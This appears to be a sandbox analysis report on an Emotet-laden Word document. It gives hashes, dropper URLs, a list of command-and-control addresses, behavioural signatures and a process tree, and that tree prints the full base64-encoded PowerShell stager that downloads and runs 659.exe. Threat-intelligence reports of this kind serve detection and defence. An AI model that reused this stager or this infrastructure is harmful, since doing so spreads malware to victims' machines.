Analysis
- max time kernel
135s - max time network
150s - platform
windows10_x64 - resource
win10 - submitted
03/08/2020, 07:22
Static task
static1
Behavioral task
behavioral1
Sample
DOC_33259453953.doc
Resource
win7
General
- Target DOC_33259453953.doc
- Size 171KB
- Sample200803-sql4m4a3kn
- SHA256 be43fcf269bd584b8090b74e5e9844dd447d960fe54898b24607e7f7f1c4066d
- MD5 3aab2bd7040459848411996a22df0b3f
- SHA1 9d421288b6e3b444e0568d531f9dc560b7b636dc
- SHA512 83025a32e81011761854ddcfc415cadee6ce602622b66f885aaf58f8d31dd1e51adc53dc702553ab2d9faaf820cf5cdd8b5c7cfba861f8be7e93940316378831
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/
-
exe.dropper
http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/
-
exe.dropper
http://my6thgen.org/_db_backups/t_e_v7qizcr2/
-
exe.dropper
http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/
-
exe.dropper
http://www.naayers.org/Library/o_eo_97ml/
Extracted
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emotet
-
142.105.151.124:443
-
62.108.54.22:8080
-
212.51.142.238:8080
-
71.208.216.10:80
-
108.48.41.69:80
-
83.110.223.58:443
-
210.165.156.91:80
-
104.131.44.150:8080
-
104.236.246.93:8080
-
5.39.91.110:7080
-
209.141.54.221:8080
-
209.182.216.177:443
-
153.126.210.205:7080
-
91.211.88.52:7080
-
180.92.239.110:8080
-
183.101.175.193:80
-
162.241.92.219:8080
-
87.106.139.101:8080
-
114.146.222.200:80
-
65.111.120.223:80
-
113.160.130.116:8443
-
190.160.53.126:80
-
62.75.141.82:80
-
46.105.131.87:80
-
203.153.216.189:7080
-
46.105.131.79:8080
-
91.231.166.124:8080
-
81.2.235.111:8080
-
189.212.199.126:443
-
95.9.185.228:443
-
169.239.182.217:8080
-
47.153.182.47:80
-
116.203.32.252:8080
-
139.130.242.43:80
-
75.139.38.211:80
-
41.60.200.34:80
-
47.144.21.12:443
-
103.86.49.11:8080
-
95.179.229.244:8080
-
173.91.22.41:80
-
70.167.215.250:8080
-
110.145.77.103:80
-
85.59.136.180:8080
-
5.196.74.210:8080
-
24.234.133.205:80
-
76.27.179.47:80
-
104.131.11.150:443
-
87.106.136.232:8080
-
61.19.246.238:443
-
201.173.217.124:443
-
176.111.60.55:8080
-
200.55.243.138:8080
-
74.208.45.104:8080
-
139.59.60.244:8080
-
67.241.24.163:8080
-
24.43.99.75:80
-
93.51.50.171:8080
-
109.74.5.95:8080
-
137.59.187.107:8080
-
37.139.21.175:8080
-
157.245.99.39:8080
-
124.45.106.173:443
-
47.146.117.214:80
-
95.213.236.64:8080
-
62.138.26.28:8080
-
190.55.181.54:443
-
24.179.13.119:80
-
152.168.248.128:443
-
222.214.218.37:4143
-
168.235.67.138:7080
-
181.230.116.163:80
-
121.124.124.40:7080
-
79.98.24.39:8080
-
37.187.72.193:8080
-
162.154.38.103:80
-
78.24.219.147:8080
-
200.41.121.90:80
-
185.94.252.104:443
-
50.116.86.205:8080
Signatures
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1176 wrote to memory of 1580 1176 659.exe 76 PID 1176 wrote to memory of 1580 1176 659.exe 76 PID 1176 wrote to memory of 1580 1176 659.exe 76 - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDINASA\Windows.ApplicationModel.Store.exe 659.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3768 1812 powersheLL.exe 68 - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3768 powersheLL.exe 3768 powersheLL.exe 3768 powersheLL.exe 1580 Windows.ApplicationModel.Store.exe 1580 Windows.ApplicationModel.Store.exe 1580 Windows.ApplicationModel.Store.exe 1580 Windows.ApplicationModel.Store.exe - Executes dropped EXE 2 IoCs
pid Process 1176 659.exe 1580 Windows.ApplicationModel.Store.exe - Blacklisted process makes network request 4 IoCs
flow pid Process 18 3768 powersheLL.exe 20 3768 powersheLL.exe 24 3768 powersheLL.exe 30 3768 powersheLL.exe - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1176-10-0x00000000005A0000-0x00000000005AC000-memory.dmp emotet behavioral2/memory/1176-10-0x00000000005A0000-0x00000000005AC000-memory.dmp emotet behavioral2/memory/1580-13-0x0000000000500000-0x000000000050C000-memory.dmp emotet behavioral2/memory/1580-13-0x0000000000500000-0x000000000050C000-memory.dmp emotet - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 1176 659.exe 1580 Windows.ApplicationModel.Store.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3100 WINWORD.EXE 3100 WINWORD.EXE - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3768 powersheLL.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_33259453953.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3100
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABGAFkATwBGAEUAbgBkAHoAIAA9ACAAJwA2ADUAOQAnADsAJABJAFcAUgBHAEgAawB0AHMAPQAnAFQARgBZAEMAUwBnAGIAawAnADsAJABWAFgASwBJAFgAZABoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAWQBPAEYARQBuAGQAegArACcALgBlAHgAZQAnADsAJABMAEQAVQBUAEwAcgBrAHMAPQAnAEcASgBQAEkASwB3AHoAcQAnADsAJABRAEcAUQBaAEEAdABxAG8APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAHQAOwAkAFIAVQBVAE4ASgB5AHoAcQA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAdwByAF8AdQA0AF8AZQBkADMAcQB6AGIAYgAvACoAaAB0AHQAcAA6AC8ALwBsAHQAcgB5AGIAdQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbQBmAGYAXwB4AGEAbwA5AGQAXwA1AGwAZAA1AHEAYQBqAGYAbQB4AC8AKgBoAHQAdABwADoALwAvAG0AeQA2AHQAaABnAGUAbgAuAG8AcgBnAC8AXwBkAGIAXwBiAGEAYwBrAHUAcABzAC8AdABfAGUAXwB2ADcAcQBpAHoAYwByADIALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHcAZQBiAG4AZQByAGQALgBjAG8AbQAvAGIAbAB1AGUAcwBmAG8AcgBzAGEAbABlAC8AegBpADYAXwB2ADQAZwAwAF8AcgBtAHkAZwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG4AYQBhAHkAZQByAHMALgBvAHIAZwAvAEwAaQBiAHIAYQByAHkALwBvAF8AZQBvAF8AOQA3AG0AbAAvACcALgAiAFMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBLAFIAWgBBAHgAcQBzAD0AJwBZAEgAVgBTAE4AbwB3AGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkASgBMAEcAUwByAGsAYgAgAGkAbgAgACQAUgBVAFUATgBKAHkAegBxACkAewB0AHIAeQB7ACQAUQBHAFEAWgBBAHQAcQBvAC4AIgBkAE8AdwBuAGAATABgAG8AYQBkAGAARgBpAEwARQAiACgAJABZAEoATABHAFMAcgBrAGIALAAgACQAVgBYAEsASQBYAGQAaABjACkAOwAkAEoAUABMAEEAVgBvAGoAbQA9ACcASQBLAFUAQwBDAGMAcwBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVgBYAEsASQBYAGQAaABjACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMgAwADYAMAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAdABlACIAKAAkAFYAWABLAEkAWABkAGgAYwApADsAJABNAEMAWABDAFQAawBtAGwAPQAnAE8AVgBCAE0AQwBpAHEAYQAnADsAYgByAGUAYQBrADsAJABRAE8AQwBRAE4AbgBpAGgAPQAnAFYARQBUAEEARABuAG8AdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAE0AUwBQAEkAZABlAHkAPQAnAEgAWQBTAFQATQBiAHAAdAAnAA==1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:3768
-
C:\Users\Admin\659.exeC:\Users\Admin\659.exe1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1176 -
C:\Windows\SysWOW64\KBDINASA\Windows.ApplicationModel.Store.exe"C:\Windows\SysWOW64\KBDINASA\Windows.ApplicationModel.Store.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1580
-